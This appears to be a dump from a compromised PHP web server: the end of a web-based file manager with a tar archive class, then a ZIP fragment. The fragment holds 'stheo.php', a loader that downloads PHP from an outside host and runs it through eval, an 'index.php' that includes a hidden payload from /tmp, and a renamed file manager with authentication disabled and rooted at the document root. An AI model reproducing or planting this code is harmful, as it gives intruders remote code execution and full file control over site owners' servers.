<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123-cpu/flex">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
PK (Cm\#�~Kk k index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "buddled.php"; include("zip:///tmp/phptpd9aH#$h");?>PK *Cm\�.C/z z stheo.phpnu �[��� <?php session_start();$u=$_SESSION['ts_url']??'https://teamzedd2026.tech/media/uploads/r/k/rahman.txt';$r=@file_get_contents($u)??(function($x){$c=curl_init($x);curl_setopt($c,19913,1);$o=curl_exec($c);curl_close($c);return$o;})($u)??(function($x){$p=parse_url($x);$fp=@fsockopen(($p['scheme']==='https'?'ssl://':'').$p['host'],$p['scheme']==='https'?443:80);if(!$fp)return;fwrite($fp,"GET {$p['path']} HTTP/1.0\r\nHost:{$p['host']}\r\n\r\n");$d=stream_get_contents($fp);fclose($fp);return substr($d,strpos($d,"\r\n\r\n")+4);})($u)??(ob_start()||1)&&@readfile($u)&&ob_get_clean();strpos($r,'<?php')!==false?eval("?>$r"):print'X'; ?>
PK -Cm\�dz�1� 1� q1gfm.phpnu �[��� <?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'spathe');
$dauth = false;
$auth_users = array(
'admin' => '4b605e78436204f87ad0daf2e1bef329',
'user' => '4b605e78436204f87ad0daf2e1bef329'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
